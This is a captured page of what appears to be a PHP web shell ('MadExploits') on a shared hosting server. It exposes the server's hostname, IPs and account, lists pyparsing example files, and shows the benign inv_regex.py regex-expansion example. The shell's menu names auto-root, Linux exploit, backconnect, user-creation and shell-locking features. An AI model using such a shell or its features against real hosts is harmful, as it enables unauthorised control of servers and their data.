Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
gsutil /
third_party /
pyparsing /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
statemachine
[ DIR ]
drwxr-xr-x
AcManForm.dfm
38.22
KB
-rw-r--r--
LAparser.py
20.62
KB
-rw-r--r--
README.md
5.13
KB
-rw-r--r--
Setup.ini
1.41
KB
-rw-r--r--
SimpleCalc.py
3.58
KB
-rw-r--r--
SingleForm.dfm
42.7
KB
-rw-r--r--
TAP.py
7.6
KB
-rw-r--r--
TAP_diagram.html
28.6
KB
-rw-r--r--
__init__.py
0
B
-rw-r--r--
adventureEngine.py
21.91
KB
-rw-r--r--
adventure_game_parser_diagram....
38.37
KB
-rw-r--r--
antlr_grammar.py
11.07
KB
-rw-r--r--
antlr_grammar_diagram.html
269.88
KB
-rw-r--r--
antlr_grammar_tests.py
2.89
KB
-rw-r--r--
apicheck.py
2.49
KB
-rw-r--r--
apicheck_diagram.html
12.56
KB
-rw-r--r--
bf.py
4.27
KB
-rw-r--r--
bf_diagram.html
6.74
KB
-rw-r--r--
bigquery_view_parser.py
62.51
KB
-rw-r--r--
booleansearchparser.py
15.26
KB
-rw-r--r--
btpyparse.py
4.16
KB
-rw-r--r--
builtin_parse_action_demo.py
817
B
-rw-r--r--
cLibHeader.py
853
B
-rw-r--r--
chemical_formulas.html
5.28
KB
-rw-r--r--
chemical_formulas.py
3.33
KB
-rw-r--r--
commasep.py
707
B
-rw-r--r--
complex_chemical_formulas.py
5.26
KB
-rw-r--r--
complex_chemical_formulas_diag...
22.88
KB
-rw-r--r--
configParse.py
2
KB
-rw-r--r--
cpp_enum_parser.py
1.35
KB
-rw-r--r--
cuneiform_python.py
2.57
KB
-rw-r--r--
datetime_parse_actions.py
1.9
KB
-rw-r--r--
decaf_parser.py
7.34
KB
-rw-r--r--
decaf_parser_diagram.html
233.34
KB
-rw-r--r--
delta_time.py
21.57
KB
-rw-r--r--
delta_time_diagram.html
106.3
KB
-rw-r--r--
dfmparse.py
7.05
KB
-rw-r--r--
dhcpd_leases_parser.py
2.98
KB
-rw-r--r--
dictExample.py
1.73
KB
-rw-r--r--
dictExample2.py
2.1
KB
-rw-r--r--
directx_x_file_parser.html
35.78
KB
-rw-r--r--
directx_x_file_parser.py
5.67
KB
-rw-r--r--
ebnf.py
4.49
KB
-rw-r--r--
ebnf_diagram.html
30.49
KB
-rw-r--r--
ebnf_number_parser_diagram.htm...
29.87
KB
-rw-r--r--
ebnf_number_words.py
2.06
KB
-rw-r--r--
ebnftest.py
2.01
KB
-rw-r--r--
email_address_parser.py
1.18
KB
-rw-r--r--
eval_arith.py
6.15
KB
-rw-r--r--
excel_expr.py
2.2
KB
-rw-r--r--
fourFn.py
10.27
KB
-rw-r--r--
gen_ctypes.py
5.28
KB
-rw-r--r--
getNTPserversNew.py
1.11
KB
-rw-r--r--
greeting.py
518
B
-rw-r--r--
greetingInGreek.py
425
B
-rw-r--r--
greetingInKorean.py
495
B
-rw-r--r--
groupUsingListAllMatches.py
509
B
-rw-r--r--
hola_mundo.py
2.02
KB
-rw-r--r--
html_stripper.py
1.68
KB
-rw-r--r--
html_table_parser.py
2.16
KB
-rw-r--r--
httpServerLogParser.py
3.48
KB
-rw-r--r--
idlParse.py
7.53
KB
-rw-r--r--
include_preprocessor.py
2.63
KB
-rw-r--r--
indentedGrammarExample.py
1022
B
-rw-r--r--
indented_block_example.py
712
B
-rw-r--r--
infix_math_parser.py
6.33
KB
-rw-r--r--
inv_regex.py
8.08
KB
-rw-r--r--
javascript_grammar.g
18.1
KB
-rw-r--r--
jsonParser.py
4.7
KB
-rw-r--r--
left_recursion.py
1.41
KB
-rw-r--r--
lineno_example.py
1.49
KB
-rw-r--r--
listAllMatches.py
1.57
KB
-rw-r--r--
lox_parser.py
6.17
KB
-rw-r--r--
lox_parser_diagram.html
136.52
KB
-rw-r--r--
lua_parser.py
8.14
KB
-rw-r--r--
lua_parser_diagram.html
221.2
KB
-rw-r--r--
lucene_grammar.py
8.81
KB
-rw-r--r--
lucene_grammar_diagram.html
46.24
KB
-rw-r--r--
macro_expander.py
1.77
KB
-rw-r--r--
make_diagram.py
1.62
KB
-rw-r--r--
matchPreviousDemo.py
586
B
-rw-r--r--
mongodb_query_expression.html
107.18
KB
-rw-r--r--
mongodb_query_expression.py
19.77
KB
-rw-r--r--
mongodb_query_expression_step_...
7.6
KB
-rw-r--r--
mozilla.ics
752
B
-rw-r--r--
mozillaCalendarParser.py
2.71
KB
-rw-r--r--
nested.py
579
B
-rw-r--r--
nested_markup.py
1.85
KB
-rw-r--r--
number_words.py
4.01
KB
-rw-r--r--
number_words_diagram.html
38.28
KB
-rw-r--r--
numerics.py
1.34
KB
-rw-r--r--
oc.py
4.34
KB
-rw-r--r--
one_to_ninety_nine.py
1.88
KB
-rw-r--r--
parseTabularData.py
1.68
KB
-rw-r--r--
parse_python_value.html
49.46
KB
-rw-r--r--
parse_python_value.py
4.09
KB
-rw-r--r--
parse_results_sum_example.py
853
B
-rw-r--r--
partial_gene_match.py
2.33
KB
-rw-r--r--
pgn.py
3.34
KB
-rw-r--r--
position.py
2.17
KB
-rw-r--r--
protobuf_parser.py
3.89
KB
-rw-r--r--
pythonGrammarParser.py
8.08
KB
-rw-r--r--
railroad_diagram_demo.py
1.55
KB
-rw-r--r--
range_check.py
2.9
KB
-rw-r--r--
readJson.py
120.73
KB
-rw-r--r--
removeLineBreaks.py
1.8
KB
-rw-r--r--
roman_numerals.py
3.64
KB
-rw-r--r--
roman_numerals_diagram.html
29.71
KB
-rw-r--r--
rosettacode.py
7.73
KB
-rw-r--r--
rosettacode_diagram.html
90.46
KB
-rw-r--r--
scanExamples.py
2.36
KB
-rw-r--r--
searchParserAppDemo.py
962
B
-rw-r--r--
searchparser.py
10.4
KB
-rw-r--r--
select_parser.py
8.72
KB
-rw-r--r--
sexpParser.py
5.23
KB
-rw-r--r--
shapes.py
1.69
KB
-rw-r--r--
simpleArith.py
2.42
KB
-rw-r--r--
simpleBool.py
3.19
KB
-rw-r--r--
simpleSQL.py
3.16
KB
-rw-r--r--
simpleWiki.py
1.08
KB
-rw-r--r--
snmp_api.h
28.69
KB
-rw-r--r--
sql2dot.py
3.07
KB
-rw-r--r--
stackish.py
2.71
KB
-rw-r--r--
tag_emitter.py
968
B
-rw-r--r--
tag_metadata.py
1012
B
-rw-r--r--
tag_metadata_diagram.html
5.7
KB
-rw-r--r--
test_bibparse.py
8.72
KB
-rw-r--r--
unicode_denormalizer.py
5.02
KB
-rw-r--r--
urlExtractor.py
1.03
KB
-rw-r--r--
urlExtractorNew.py
2.4
KB
-rw-r--r--
verilog_parse.py
31.16
KB
-rw-r--r--
withAttribute.py
912
B
-rw-r--r--
wordsToNum.py
2.99
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : inv_regex.py
# # original file: https://raw.githubusercontent.com/pyparsing/pyparsing/pyparsing_3.0.9/examples/invRegex.py # # Copyright 2008, Paul McGuire # # pyparsing script to expand a regular expression into all possible matching strings # Supports: # - {n} and {m,n} repetition, but not unbounded + or * repetition # - ? optional elements # - [] character ranges # - () grouping # - | alternation # __all__ = ["count", "invert"] from pyparsing import ( Literal, one_of, Empty, printables, ParserElement, Combine, SkipTo, infix_notation, ParseFatalException, Word, nums, OpAssoc, Suppress, ParseResults, srange, ) ParserElement.enablePackrat() class CharacterRangeEmitter: def __init__(self, chars): # remove duplicate chars in character range, but preserve original order seen = set() self.charset = "".join(seen.add(c) or c for c in chars if c not in seen) def __str__(self): return "[" + self.charset + "]" def __repr__(self): return "[" + self.charset + "]" def make_generator(self): def gen_chars(): yield from self.charset return gen_chars class OptionalEmitter: def __init__(self, expr): self.expr = expr def make_generator(self): def optional_gen(): yield "" yield from self.expr.make_generator()() return optional_gen class DotEmitter: def make_generator(self): def dot_gen(): yield from printables return dot_gen class GroupEmitter: def __init__(self, exprs): self.exprs = ParseResults(exprs) def make_generator(self): def group_gen(): def recurse_list(elist): if len(elist) == 1: yield from elist[0].make_generator()() else: for s in elist[0].make_generator()(): for s2 in recurse_list(elist[1:]): yield s + s2 if self.exprs: yield from recurse_list(self.exprs) return group_gen class AlternativeEmitter: def __init__(self, exprs): self.exprs = exprs def make_generator(self): def alt_gen(): for e in self.exprs: yield from e.make_generator()() return alt_gen class LiteralEmitter: def __init__(self, lit): self.lit = lit def __str__(self): return "Lit:" + self.lit def __repr__(self): return "Lit:" + self.lit def make_generator(self): def lit_gen(): yield self.lit return lit_gen def handle_range(toks): return CharacterRangeEmitter(srange(toks[0])) def handle_repetition(toks): toks = toks[0] if toks[1] in "*+": raise ParseFatalException("", 0, "unbounded repetition operators not supported") if toks[1] == "?": return OptionalEmitter(toks[0]) if "count" in toks: return GroupEmitter([toks[0]] * int(toks.count)) if "minCount" in toks: mincount = int(toks.minCount) maxcount = int(toks.maxCount) optcount = maxcount - mincount if optcount: opt = OptionalEmitter(toks[0]) for i in range(1, optcount): opt = OptionalEmitter(GroupEmitter([toks[0], opt])) return GroupEmitter([toks[0]] * mincount + [opt]) else: return [toks[0]] * mincount def handle_literal(toks): lit = "" for t in toks: if t[0] == "\\": if t[1] == "t": lit += "\t" else: lit += t[1] else: lit += t return LiteralEmitter(lit) def handle_macro(toks): macro_char = toks[0][1] if macro_char == "d": return CharacterRangeEmitter("0123456789") elif macro_char == "w": return CharacterRangeEmitter(srange("[A-Za-z0-9_]")) elif macro_char == "s": return LiteralEmitter(" ") else: raise ParseFatalException( "", 0, "unsupported macro character (" + macro_char + ")" ) def handle_sequence(toks): return GroupEmitter(toks[0]) def handle_dot(): return CharacterRangeEmitter(printables) def handle_alternative(toks): return AlternativeEmitter(toks[0]) _parser = None def parser(): global _parser if _parser is None: ParserElement.set_default_whitespace_chars("") lbrack, rbrack, lbrace, rbrace, lparen, rparen, colon, qmark = Literal.using_each( "[]{}():?" ) re_macro = Combine("\\" + one_of("d w s")) escaped_char = ~re_macro + Combine("\\" + one_of(list(printables))) re_literal_char = ( "".join(c for c in printables if c not in r"\[]{}().*?+|") + " \t" ) re_range = Combine(lbrack + SkipTo(rbrack, ignore=escaped_char) + rbrack) # type: ignore re_literal = escaped_char | one_of(list(re_literal_char)) re_non_capture_group = Suppress("?:") re_dot = Literal(".") repetition = ( (lbrace + Word(nums)("count") + rbrace) | (lbrace + Word(nums)("minCount") + "," + Word(nums)("maxCount") + rbrace) | one_of(list("*+?")) ) re_range.add_parse_action(handle_range) re_literal.add_parse_action(handle_literal) re_macro.add_parse_action(handle_macro) re_dot.add_parse_action(handle_dot) re_term = re_literal | re_range | re_macro | re_dot | re_non_capture_group re_expr = infix_notation( re_term, [ (repetition, 1, OpAssoc.LEFT, handle_repetition), (Empty(), 2, OpAssoc.LEFT, handle_sequence), (Suppress("|"), 2, OpAssoc.LEFT, handle_alternative), ], ) _parser = re_expr return _parser def count(gen): """Simple function to count the number of elements returned by a generator.""" return sum(1 for _ in gen) def invert(regex): r""" Call this routine as a generator to return all the strings that match the input regular expression. for s in invert(r"[A-Z]{3}\d{3}"): print s """ invre = GroupEmitter(parser().parseString(regex)).make_generator() return invre() def main(): tests = r""" [A-EA] [A-D]* [A-D]{3} X[A-C]{3}Y X[A-C]{3}\( X\d foobar\d\d foobar{2} foobar{2,9} fooba[rz]{2} (foobar){2} ([01]\d)|(2[0-5]) (?:[01]\d)|(2[0-5]) ([01]\d\d)|(2[0-4]\d)|(25[0-5]) [A-C]{1,2} [A-C]{0,3} [A-C]\s[A-C]\s[A-C] [A-C]\s?[A-C][A-C] [A-C]\s([A-C][A-C]) [A-C]\s([A-C][A-C])? [A-C]{2}\d{2} @|TH[12] @(@|TH[12])? @(@|TH[12]|AL[12]|SP[123]|TB(1[0-9]?|20?|[3-9]))? @(@|TH[12]|AL[12]|SP[123]|TB(1[0-9]?|20?|[3-9])|OH(1[0-9]?|2[0-9]?|30?|[4-9]))? (([ECMP]|HA|AK)[SD]|HS)T [A-CV]{2} A[cglmrstu]|B[aehikr]?|C[adeflmorsu]?|D[bsy]|E[rsu]|F[emr]?|G[ade]|H[efgos]?|I[nr]?|Kr?|L[airu]|M[dgnot]|N[abdeiop]?|Os?|P[abdmortu]?|R[abefghnu]|S[bcegimnr]?|T[abcehilm]|Uu[bhopqst]|U|V|W|Xe|Yb?|Z[nr] (a|b)|(x|y) (a|b) (x|y) [ABCDEFG](?:#|##|b|bb)?(?:maj|min|m|sus|aug|dim)?[0-9]?(?:/[ABCDEFG](?:#|##|b|bb)?)? (Fri|Mon|S(atur|un)|T(hur|ue)s|Wednes)day A(pril|ugust)|((Dec|Nov|Sept)em|Octo)ber|(Febr|Jan)uary|Ju(ly|ne)|Ma(rch|y) """.splitlines() for t in tests: t = t.strip() if not t: continue print("-" * 50) print(t) try: num = count(invert(t)) print(num) maxprint = 30 for s in invert(t): print(s) maxprint -= 1 if not maxprint: break except ParseFatalException as pfe: print(pfe.msg) print("") continue print("") if __name__ == "__main__": main()
Close